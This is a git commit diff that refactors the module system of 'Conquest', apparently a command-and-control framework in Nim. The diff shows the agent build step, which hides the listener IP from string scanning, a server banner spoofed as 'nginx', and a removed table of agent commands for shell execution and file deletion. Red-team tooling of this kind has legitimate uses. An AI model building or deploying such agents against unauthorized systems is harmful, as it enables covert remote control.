Rework module system. Now modules/commands are defined in a single file each, with both the function executed by teh agent and the definition for server-side argument parsing.

This commit is contained in:
Jakob Friedl
2025-07-25 16:41:29 +02:00
parent ad31b90687
commit 7bf135750c
25 changed files with 549 additions and 489 deletions

View File

@@ -135,7 +135,7 @@ proc agentBuild*(cq: Conquest, listener, sleep, payload: string) =
let listener = cq.listeners[listener.toUpperAscii]
# Create/overwrite nim.cfg file to set agent configuration
let agentConfigFile = fmt"../src/agents/{payload}/nim.cfg"
let agentConfigFile = fmt"../src/agent/nim.cfg"
# Parse IP Address and store as compile-time integer to hide hardcoded-strings in binary from `strings` command
let (first, second, third, fourth) = parseOctets(listener.address)
@@ -160,7 +160,7 @@ proc agentBuild*(cq: Conquest, listener, sleep, payload: string) =
cq.writeLine(fgBlack, styleBright, "[*] ", resetStyle, "Configuration file created.")
# Build agent by executing the ./build.sh script on the system.
let agentBuildScript = fmt"../src/agents/{payload}/build.sh"
let agentBuildScript = fmt"../src/agent/build.sh"
cq.writeLine(fgBlack, styleBright, "[*] ", resetStyle, "Building agent...")

View File

@@ -1,6 +1,7 @@
import core/server
import strutils
import ../modules/manager
# Conquest framework entry point
when isMainModule:
loadModules()
startServer()

View File

@@ -1,4 +1,5 @@
# Compiler flags
-d:server
--threads:on
-d:httpxServerName="nginx"
--outdir:"../bin"

View File

@@ -1,117 +1,13 @@
import times, strformat, terminal, tables, json, sequtils, strutils
import ./[parser]
import ../utils
import ../../modules/manager
import ../../common/[types, utils]
proc initAgentCommands*(): Table[string, Command] =
var commands = initTable[string, Command]()
commands["shell"] = Command(
name: "shell",
commandType: CMD_SHELL,
description: "Execute a shell command and retrieve the output.",
example: "shell whoami /all",
arguments: @[
Argument(name: "command", description: "Command to be executed.", argumentType: STRING, isRequired: true),
Argument(name: "arguments", description: "Arguments to be passed to the command.", argumentType: STRING, isRequired: false)
]
)
commands["sleep"] = Command(
name: "sleep",
commandType: CMD_SLEEP,
description: "Update sleep delay configuration.",
example: "sleep 5",
arguments: @[
Argument(name: "delay", description: "Delay in seconds.", argumentType: INT, isRequired: true)
]
)
commands["pwd"] = Command(
name: "pwd",
commandType: CMD_PWD,
description: "Retrieve current working directory.",
example: "pwd",
arguments: @[]
)
commands["cd"] = Command(
name: "cd",
commandType: CMD_CD,
description: "Change current working directory.",
example: "cd C:\\Windows\\Tasks",
arguments: @[
Argument(name: "directory", description: "Relative or absolute path of the directory to change to.", argumentType: STRING, isRequired: true)
]
)
commands["ls"] = Command(
name: "ls",
commandType: CMD_LS,
description: "List files and directories.",
example: "ls C:\\Users\\Administrator\\Desktop",
arguments: @[
Argument(name: "directory", description: "Relative or absolute path. Default: current working directory.", argumentType: STRING, isRequired: false)
]
)
commands["rm"] = Command(
name: "rm",
commandType: CMD_RM,
description: "Remove a file.",
example: "rm C:\\Windows\\Tasks\\payload.exe",
arguments: @[
Argument(name: "file", description: "Relative or absolute path to the file to delete.", argumentType: STRING, isRequired: true)
]
)
commands["rmdir"] = Command(
name: "rmdir",
commandType: CMD_RMDIR,
description: "Remove a directory.",
example: "rm C:\\Payloads",
arguments: @[
Argument(name: "directory", description: "Relative or absolute path to the directory to delete.", argumentType: STRING, isRequired: true)
]
)
commands["move"] = Command(
name: "move",
commandType: CMD_MOVE,
description: "Move a file or directory.",
example: "move source.exe C:\\Windows\\Tasks\\destination.exe",
arguments: @[
Argument(name: "source", description: "Source file path.", argumentType: STRING, isRequired: true),
Argument(name: "destination", description: "Destination file path.", argumentType: STRING, isRequired: true)
]
)
commands["copy"] = Command(
name: "copy",
commandType: CMD_COPY,
description: "Copy a file or directory.",
example: "copy source.exe C:\\Windows\\Tasks\\destination.exe",
arguments: @[
Argument(name: "source", description: "Source file path.", argumentType: STRING, isRequired: true),
Argument(name: "destination", description: "Destination file path.", argumentType: STRING, isRequired: true)
]
)
return commands
let commands = initAgentCommands()
proc getCommandFromTable(input: string, commands: Table[string, Command]): Command =
try:
let command = commands[input]
return command
except ValueError:
raise newException(ValueError, fmt"The command '{input}' does not exist.")
proc displayHelp(cq: Conquest, commands: Table[string, Command]) =
proc displayHelp(cq: Conquest) =
cq.writeLine("Available commands:")
cq.writeLine(" * back")
for key, cmd in commands:
for key, cmd in getAvailableCommands():
cq.writeLine(fmt" * {cmd.name:<15}{cmd.description}")
cq.writeLine()
@@ -142,13 +38,13 @@ Usage : {usage}
cq.writeLine()
proc handleHelp(cq: Conquest, parsed: seq[string], commands: Table[string, Command]) =
proc handleHelp(cq: Conquest, parsed: seq[string]) =
try:
# Try parsing the first argument passed to 'help' as a command
cq.displayCommandHelp(getCommandFromTable(parsed[1], commands))
cq.displayCommandHelp(getCommandByName(parsed[1]))
except IndexDefect:
# 'help' command is called without additional parameters
cq.displayHelp(commands)
cq.displayHelp()
except ValueError:
# Command was not found
cq.writeLine(fgRed, styleBright, fmt"[-] The command '{parsed[1]}' does not exist." & '\n')
@@ -169,13 +65,13 @@ proc handleAgentCommand*(cq: Conquest, input: string) =
# Handle 'help' command
if parsedArgs[0] == "help":
cq.handleHelp(parsedArgs, commands)
cq.handleHelp(parsedArgs)
return
# Handle commands with actions on the agent
try:
let
command = getCommandFromTable(parsedArgs[0], commands)
command = getCommandByName(parsedArgs[0])
task = cq.parseTask(command, parsedArgs[1..^1])
# Add task to queue